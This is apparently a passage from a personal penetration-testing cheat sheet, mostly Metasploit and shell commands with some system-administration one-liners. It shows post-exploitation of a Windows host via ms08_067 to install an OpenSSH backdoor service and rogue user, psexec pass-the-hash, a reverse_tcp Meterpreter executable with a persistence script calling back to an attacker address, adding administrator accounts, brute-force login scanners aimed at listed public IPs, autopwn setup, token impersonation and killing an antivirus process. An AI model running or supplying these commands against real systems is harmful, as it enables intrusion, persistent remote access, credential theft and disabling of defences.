2059C:\Program Files\openssh\etc>..\bin\mkgroup -l >group
2060..\bin\mkgroup -l >group
2061
2062C:\Program Files\openssh\etc>sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
2063sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
2064[SC] CreateService SUCCESS
2065
2066
2067
2068Start the OpenSSH Service
2069
2070C:\Program Files\openssh\etc>sc start opensshd
2071sc start opensshd
2072SERVICE_NAME: opensshd
2073TYPE : 10 WIN32_OWN_PROCESS
2074STATE : 2 START_PENDING
2075(NOT_STOPPABLE, NOT_PAUSABLE,
2076IGNORES_SHUTDOWN))
2077WIN32_EXIT_CODE : 0 (0x0)
2078SERVICE_EXIT_CODE : 0 (0x0)
2079CHECKPOINT : 0x0
2080WAIT_HINT : 0x7d0
2081PID : 1916
2082FLAGS :
2083
2084C:\Program Files\openssh\etc>sc query opensshd
2085sc query opensshd
2086SERVICE_NAME: opensshd
2087TYPE : 10 WIN32_OWN_PROCESS
2088STATE : 4 RUNNING
2089(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN))
2090WIN32_EXIT_CODE : 0 (0x0)
2091SERVICE_EXIT_CODE : 0 (0x0)
2092CHECKPOINT : 0x0
2093WAIT_HINT : 0x0
2094
2095C:\Program Files\openssh\etc>netsh firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24
2096
2097The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24**
2098
2099**Note: adding a port for the firewall is necessary if the firewall exists. If not, then you will get the command not found error message. It is a good idea to restrict the source networks so that you don.t leave a gaping opportunity while testing.
2100
2101C:\Program Files\openssh\etc>exit
2102exit
2103meterpreter > quit
2104
2105[*] Meterpreter session 1 closed.
2106msf exploit(ms08_067_netapi) > quit
2107
2108
2109
2110
2111
2112Now, lets go ahead and SSH into our Windows server to check if things worked!
2113
2114
2115root@localhost:~/framework-3.2]# ssh inet_p0wned@192.168.1.40
2116The authenticity of host '192.168.1.40 (192.168.1.40)' can't be established.
2117RSA key fingerprint is ab:c8:bf:9f:b2:38:32:1d:6f:2b:34:a5:d0:99:dc:49.
2118Are you sure you want to continue connecting (yes/no)? yes
2119Warning: Permanently added '192.168.1.40' (RSA) to the list of known hosts.
2120
2121OpenSSH for Windows. Welcome aboard!
2122
2123inet_p0wned@192.168.1.40's password:
2124Could not chdir to home directory /home/inet_p0wned: No such file or directory
2125Microsoft Windows [Version 5.2.3790]
2126(C) Copyright 1985-2003 Microsoft Corp.
2127C:\Program Files\OpenSSH>
2128C:\Program Files\OpenSSH>whoami
2129system-hj28hhgl7n\inet_p0wned
2130
2131C:\Program Files\OpenSSH>exit
2132Connection to 192.168.1.40 closed.
2133[root@localhost framework-3.2]#
2134
2135
2136Cleaning up
2137
2138To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files. The following recipe should work reasonably well from a command shell. Remember that you cannot be using OpenSSH when deleting the service! So, you may need to exploit again with shell code before removing it.
2139
2140C:\> SC STOP opensshd
2141C:\> SC DELETE opensshd
2142C:\> REG DELETE .HKLM\SOFTWARE\Cygnus Solutions. /f /va
2143C:\> REG DELETE .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. /f /va
2144C:\> REG DELETE .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. /f /va
2145
2146C:\> CD "\Program Files"
2147C:\Program Files> RMDIR /Q /S opensshd
2148C:\Program Files> NETSH FIREWALL DELETE PORT TCP 22
2149C:\Program Files> NET USER inet_p0wned /DELETE # pivot
2150http://www.offensive-security.com/metasploit-unleashed/Pivoting
2151
2152use exploit/windows/smb/psexec
2153set RHOST 10.1.13.2
2154set SMBUser Administrator
2155set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
2156set PAYLOAD windows/meterpreter/bind_tcp
2157exploit
2158
2159
2160
2161# make exe
2162./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe
2163
2164# attacker listen
2165use exploit/multi/handler
2166set PAYLOAD windows/meterpreter/reverse_tcp
2167set LHOST 192.168.6.55
2168set LPORT 443
2169set ExitOnSession false
2170# set AutoRunScript pathto script you want to autorun after exploit is run
2171set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30
2172
2173exploit -j -z
2174
2175
2176# armatage
2177apt-get install mysql-server -y
2178/etc/init.d/mysql start
2179
2180mysqladmin -u root -ppassword password toor
2181
2182
2183/pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic
2184
2185
2186
2187# armatage
2188
2189apt-get install -y postgresql
2190
2191apt-get install libpq-dev -y
2192
2193gem install postgres
2194
2195/etc/init.d/postgresql start
2196
2197
2198su -
2199su - postgres
2200
2201
2202createuser msf_user -P
2203createdb --owner=msf_user msf
2204
2205
2206
2207/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
2208/pentest/exploits/framework/armitage
2209
2210
2211
2212
2213net user newuserhere PASSWORDHERE /add
2214net localgroup administrators newuserhere /add
2215
2216
2217"c:\program files\nmap\nmap.exe" -vvv -n -p 1527,3200,3201,3300,3600,8000,8100,8101,40000-40005,50013,50113 -A 192.168.56,14,6,7,8,9.1-255 -oA sap
2218
2219 ----
2220
2221
2222
2223
2224# ssh
2225use auxiliary/scanner/ssh/ssh_login
2226
2227#set RHOSTS_FILE "C:/backup/wordlist/targests.txt"
2228
2229
2230set RHOSTS 4.59.139.135 4.59.139.136 4.59.139.140 63.116.61.25 63.116.61.26 63.116.61.34
2231# set USER_FILE "C:/backup/wordlist/password_large.txt"
2232set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt"
2233set VERBOSE true
2234set STOP_ON_SUCCESS true
2235set BRUTEFORCE_SPEED 5
2236# set this to the number of host
2237set THREADS 6
2238
2239run
2240
2241
2242
2243use auxiliary/gather/dns_enum
2244set DOMAIN domain.com
2245run
2246
2247
2248#smb
2249
2250use auxiliary/scanner/smb/smb_login
2251
2252set RHOSTS file://192.168.8.39
2253set RHOSTS 127.0.0.1
2254
2255set USER_FILE "C:/wordlist/users.txt"
2256set PASS_FILE "C:/wordlist/2.txt"
2257set VERBOSE false
2258# set to number of host scanning .
2259set THREADS 16
2260
2261set STOP_ON_SUCCESS true
2262set VERBOSE true
2263set BLANK_PASSWORDS false
2264
2265
2266# http
2267
2268use auxiliary/scanner/http/http_login
2269set AUTH_URI /folder?dcPath=ha-datacenter
2270set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1
2271set VERBOSE true
2272run
2273
2274
2275
2276
2277back
2278
2279# telnet
2280use auxiliary/scanner/telnet/telnet_login
2281set RHOSTS 127.0.0.1,49,50
2282
2283set PASS_FILE "C:/wordlist/password_small.txt"
2284set THREADS 254
2285run
2286
2287
2288
2289back
2290
2291
2292# mssql
2293use auxiliary/scanner/mssql/mssql_login
2294set RHOSTS 127.0.0.1
2295set PASS_FILE "C:/wordlist/password_small.txt"
2296set USERNAME sa
2297set VERBOSE false
2298run
2299
2300
2301back
2302
2303
2304
2305#ftp
2306use auxiliary/scanner/ftp/ftp_login
2307set RHOSTS 127.0.0.1
2308set PASS_FILE /home/administrator/alcoa/alcoa_small.txt
2309set USER_FILE /home/administrator/alcoa/alcoa_small.txt
2310set BRUTEFORCE_SPEED 1
2311run
2312
2313
2314
2315#snmp
2316use auxiliary/scanner/snmp/snmp_login
2317set RHOSTS 127.0.0.1
2318set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
2319set VERBOSE false
2320
2321run
2322
2323
2324
2325nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
2326
2327
2328./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
2329
2330
2331# onlt works for Delegation Tokens
2332list_tokens -u
2333impersonate_token ORACLE-ENT\\Administrator
2334
2335
2336# after hijack incognito
2337use auxiliary/server/capture/smb
2338
2339# ubuntu autopwn
2340apt-get install ruby1.8-dev libpq-dev postgresql -y
2341gem install postgres
2342
2343
2344# download autopwn .
2345cd /pentest/exploits/framework/plugins/
2346wget http://rmccurdy.com/scripts/db_autopwn.rb
2347cd ..
2348
2349
2350
2351sudo -u postgres psql
2352\password postgres
2353\q
2354
2355
2356sudo -u postgres createdb msf
2357
2358./msfconsole
2359
2360db_driver
2361db_driver postgresql
2362db_connect postgres:postgres@127.0.0.1/msf
2363db_nmap 123.123.123.123 -v -v -v -v
2364load db_autopwn
2365db_autpown -p -t -e
2366
2367
2368# ssh logins
2369use auxiliary/scanner/ssh/ssh_login
2370set RHOSTS 192.168.1.1-255
2371set USER_FILE "C:/wordlist/password_small.txt"
2372run
2373
2374
2375
2376back
2377
2378#smb
2379use auxiliary/scanner/smb/smb_login
2380set RHOSTS 127.0.0.1
2381set SMBUser Administrator
2382set PASS_FILE "C:/wordlist/password_small.txt"
2383set VERBOSE false
2384set THREADS 16
2385run
2386
2387
2388
2389back
2390
2391# telnet
2392use auxiliary/scanner/telnet/telnet_login
2393set RHOSTS 127.0.0.1
2394set PASS_FILE "C:/wordlist/password_small.txt"
2395set THREADS 254
2396run
2397
2398
2399
2400back
2401
2402
2403# mssql
2404use auxiliary/scanner/mssql/mssql_login
2405set RHOSTS 127.0.0.1
2406set PASS_FILE "C:/wordlist/password_small.txt"
2407set USERNAME sa
2408run
2409
2410
2411back
2412
2413
2414
2415#ftp
2416use auxiliary/scanner/ftp/ftp_login
2417set RHOSTS 127.0.0.1
2418set PASS_FILE "C:/wordlist/password_small.txt"
2419run
2420
2421
2422
2423#snmp
2424use auxiliary/scanner/snmp/snmp_login
2425set RHOSTS 127.0.0.1
2426set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
2427run
2428
2429
2430
2431
2432User Summary
2433
2434Checks if a VNC server is vulnerable to the RealVNC authentication bypass (CVE-2006-2369).
2435Example Usage
2436
2437nmap -sV -sC <target>
2438
2439db_driver postgresql
2440db_connect postgres:"msf3:"32a771f6"@127.0.0.1:7175/msf3
2441
2442http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=7558 Microsoft Baseline Security Analyzer 2.2 (for IT Professionals)
2443
2444.a/gxfr.py rmccurdy.com --dns-lookup -v -t 10
2445
2446
2447http stress test
2448.- HTTPS Support
2449- 1000 simultaneous connections (each one with a different user/password)
2450- Ability to record 2 or more application forms in order to test very specific application flows..
2451
2452In order to answer your question, there.re some tools like:
2453
2454Tool 1- httperf
2455
2456More examples that I used before.
2457
2458httperf --hog --server HOST --num-conn 1000 --ra 100 --timeout 5
2459httperf --hog --server 192.168.1.3 --num-conn 1000 --ra 100 --timeout 5
2460httperf --hog --server=192.168.1.3 --wsess=10,5,2 --rate 1 --timeout 5
2461httperf --hog --server=www --wsess=10,5,2 --rate=1 --timeout=5 --ssl
2462httperf --hog --server=bankinghome.es/apl/donativos/index_ca.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
2463httperf --hog --server=17.148.71.129/index.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
2464httperf --hog --server=http://17.148.71.129/index.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
2465
2466Tool 2- fakeconnect
2467
2468fakeconnect -s SOURCE -d HOST -p PORT
2469
2470Tool 3- Apache benchmarking tool (accept POST)
2471
2472ab -n 100 -c 4 -p test.jpg http://localhost/
2473(http://httpd.apache.org/docs/2.0/programs/ab.html)
2474
2475Tool 4- Curl-loader (it rocks, very customizable)
2476
2477http://curl-loader.sourceforge.net/
2478
2479
2480And running hundreds and thousands of clients..., please, do not forget:
2481
24821- To increase limit of descriptors (sockets) by running e.g.
2483
2484#ulimit -n 10000;
2485
24862- Optionally, to set reuse of sockets in time-wait state, etc.., by setting:
2487
2488#echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle and/or
2489#echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse;
2490#echo 1 > /proc/sys/net/ipv4/tcp_moderate_rcvbuf
2491#echo 108544 > /proc/sys/net/core/wmem_max
2492#echo 108544 > /proc/sys/net/core/rmem_max
2493#echo "4096 87380 4194304" > /proc/sys/net/ipv4/tcp_rmem
2494#echo "4096 16384 4194304" > /proc/sys/net/ipv4/tcp_wmem
2495
2496Additional info:
2497
2498http://ltp.sourceforge.net/tooltable.php
2499
2500Hope that help you.
2501
2502
2503
2504==========
2505
2506
2507random file raname rename random file
2508IFS=$'\n';for fname in `ls`; do mv "$fname" $RANDOM$RANDOM ;done
2509
2510
2511grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' ips | sort | uniq
2512
2513
2514catchme.exe -K "c:\Program Files\Kaspersky\avp.exe"
2515catchme.exe -E "c:\Program Files\Kaspersky\avp.exe"
2516catchme.exe -O "c:\Program Files\Kaspersky\avp.exe"
2517reboot
2518still looking into it .. can't kill it from memory yet I can delete the file
2519
2520
2521
2522# file size search
2523FOR /R C:\ %i in (*) do @if %~zi gtr 10000000 echo %i %~zi
2524
2525# screen cron
2526@reboot /usr/bin/screen -fa -d -m -S torrent /usr/bin/rtorrent
2527
2528
2529# netstat with pid
2530for /f "tokens=1,2,3,7 delims=: " %a in ('netstat -nao ^| find ^"LISTENING^" ^| find /v ^"::^"') do @(for /f "tokens=1,*" %n in ('"wmic process where processId=%d get caption,executablepath | find ".""') do @echo Protocol=%a, IP=%b, Port=%c, PID=%d, Name=%n, Path=%o)
2531
2532
2533# CSV file size,file
2534for /r c:\ %i in (*) do @echo %~zi, %i
2535
2536# md5 check but in linux style
2537md5 * | awk '{print $4,$2}' | sed 's/ (/ \*/g' | sed 's/)//g'
2538
2539
2540
2541#################
2542# see ./fu_ripp.txt for ripped fu the size was getting out of hand ..
2543#################